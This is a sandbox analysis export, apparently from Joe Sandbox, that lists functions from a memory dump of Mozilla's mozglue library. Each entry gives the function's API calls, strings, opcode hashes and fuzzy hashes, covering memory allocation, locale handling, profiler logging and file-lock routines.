Opcode Fuzzy Hash: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction Fuzzy Hash: B2610431F046269FCB04CAA8CD88B6E73B5EF95318F254279E528A7A95D770D900C7C5

Function 6C9348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C97483A,?), ref: 6C934ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C97483A,?), ref: 6C934AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C97483A,?), ref: 6C934A82

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C97483A,?), ref: 6C934A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C97483A,?), ref: 6C934A35

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C97483A,?), ref: 6C934A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C97483A,?), ref: 6C934AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C97483A,?), ref: 6C934B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C97483A,?), ref: 6C934B2C

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: cedf6b77177abb0904024bfc486fef7e6b98e364b24d000bcbaa91791131b9b8
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 8C715AB19007069FCB54CF68C480AAABBF5FF19308B10463ED15ADBB41E732E959CB80

Function 6C989D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C988273), ref: 6C989D65
free.MOZGLUE(6C988273,?), ref: 6C989D7C
free.MOZGLUE(?,?), ref: 6C989D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C989E0F
free.MOZGLUE(6C98946B,?,?), ref: 6C989E24
free.MOZGLUE(?,?,?), ref: 6C989E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C989EC8
free.MOZGLUE(6C98946B,?,?,?), ref: 6C989EDF
free.MOZGLUE(?,?,?,?), ref: 6C989EF5

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction ID: decafedb8745134e9055ee7e815ea09424198a12ba34ba7125bbde370fe31d71
Opcode Fuzzy Hash: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction Fuzzy Hash: 2A7190B090AB419BD712CF18C48055BF7F4FFA9315B459A1DE89A5BB02EB30F885CB91

Function 6C98DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C98DDCF

Part of subcall function 6C96FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C96FA4B

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE0D
free.MOZGLUE(00000000), ref: 6C98DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF32

Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DB86
Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF65
free.MOZGLUE(?), ref: 6C98DF80

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction ID: 8816c55d2c67a83e31728214590c5ac2899b4b17a61099b8d2cd0da76fc1a444
Opcode Fuzzy Hash: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction Fuzzy Hash: 0151B8737076029BD7119B18D8806AF7376BFA1318F96091ED45A53B01D731F919CBA2

Function 6C995D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DC9
std::_Facet_Register.LIBCPMT ref: 6C995DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E45

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction ID: 28f8c8ea6df71b3a95d732e9d8dfc918fc52ab01e9bd249d1c4436773c609d9f
Opcode Fuzzy Hash: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction Fuzzy Hash: B641C2747042049FCB00DFA5C8D8AAF77B9EF89319F584168E50A9B791EB35ED05CB60

Function 6C96CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9331A7), ref: 6C96CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C96CFA4, 6C96CFB8
<jemalloc>, xrefs: 6C96CF9F, 6C96CFB3

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction ID: 9331bcec9bf3b8643b0971cc5757e92d893381772475df7000a511b120baa072
Opcode Fuzzy Hash: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction Fuzzy Hash: 3A31C631B452056BFF11AEA68C85B6F7B79BB41B58F304015F614EBEC0DB70E8108BA5

Function 6C93ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C93ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C93EDCC
CreateFileW.KERNEL32 ref: 6C93EE08
free.MOZGLUE(00000000), ref: 6C93EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C93EE32

Part of subcall function 6C93EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C93EBB5
Part of subcall function 6C93EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C96D7F3), ref: 6C93EBC3
Part of subcall function 6C93EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C96D7F3), ref: 6C93EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C93EDC1

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction ID: ab620c2bbe906390e62d471695fb9b3fc020350b5e1b559a1af027dd80dfce44
Opcode Fuzzy Hash: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction Fuzzy Hash: 1751D271D052249BDB11DF68C8407EEB7B4AF69318F44942DE8596B780EB30ED48CBE2

Function 6C9AA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA565

Part of subcall function 6C9AA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9AA4BE
Part of subcall function 6C9AA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9AA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9AA6B6

Strings

0, xrefs: 6C9AA5FB
z, xrefs: 6C9AA6AE

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction ID: 57411f8f47716a75bc33d3eefaa91fad1ead05e38c34480bf9555c6c66e5e94b
Opcode Fuzzy Hash: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction Fuzzy Hash: 304158719087459FC341CF28C080A9FBBE5BF99354F409A2EF49987650EB30D549CF82

Function 6C9378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9B008B), ref: 6C937B89
free.MOZGLUE(?,6C9B008B), ref: 6C937BAC

Part of subcall function 6C9378C0: free.MOZGLUE(?,6C9B008B), ref: 6C937BCF

free.MOZGLUE(?,6C9B008B), ref: 6C937BF2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction ID: 6ccdda1fd07d0bcf3cefe172495bdb57245071551c73d4a4f2f97522582ce33d
Opcode Fuzzy Hash: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction Fuzzy Hash: E6C19131E01139CBEB248B28CE90BADB772AF51314F1517A9D41EABBC1C731DE858B51

Function 6C979420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
__Init_thread_footer.LIBCMT ref: 6C97949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C97947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C979459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C97946B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction ID: d2d034e9592182874186679e1f3a85df5f3346bedc6aa665abfa2cdbbcc5c37a
Opcode Fuzzy Hash: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction Fuzzy Hash: F1014C38A09110A7DF109BADD849A47337AEB4632CF150537DC0687F41E731D464897F

Function 6C980F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C980F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C980F88
GetCurrentThreadId.KERNEL32 ref: 6C980FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C981067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C98114B

Part of subcall function 6C978AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C991563), ref: 6C978BD5

free.MOZGLUE(?), ref: 6C981174
free.MOZGLUE(?), ref: 6C981186

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction ID: 8153524e2651add8a47989fa8f0a2e4623affa8550c60faa2c415882be28f6f5
Opcode Fuzzy Hash: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction Fuzzy Hash: 7D61DF75A0A3409BDB10CF24C880B9EB7F6BFE6308F14891DE89947712EB31E558CB81

Function 6C93B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6AC

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C93B61E), ref: 6C93B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B79A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction ID: 89506bbfd21903b5a8509e06276a9ff62c9b82d4951088476352c00dc65260f0
Opcode Fuzzy Hash: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction Fuzzy Hash: 8D41D6B2D005259FCB14DF68DC845AFB7B9FB54324F250629E82AE7B80D731E9058BD1

Function 6C93EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9B5104), ref: 6C93EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93EFEC
free.MOZGLUE(?), ref: 6C93F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C93F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93F065
moz_xmalloc.MOZGLUE ref: 6C93F072

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction ID: c2d06eff8c0be0fc9f1f969e694428258ad0893390b6618849be1b4d5164e231
Opcode Fuzzy Hash: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction Fuzzy Hash: 3A41D8B1A001169FCB08CF68DC809BE7769AF94318B244268E81ADB794EB71ED15C7E1

Function 6C9AB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9AB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AB5F4
__Init_thread_footer.LIBCMT ref: 6C9AB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9AB61F
std::_Facet_Register.LIBCPMT ref: 6C9AB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB655

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction ID: 47eaee494555714c75d387499752c85f94c2162a260e6d42b396443807413955
Opcode Fuzzy Hash: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
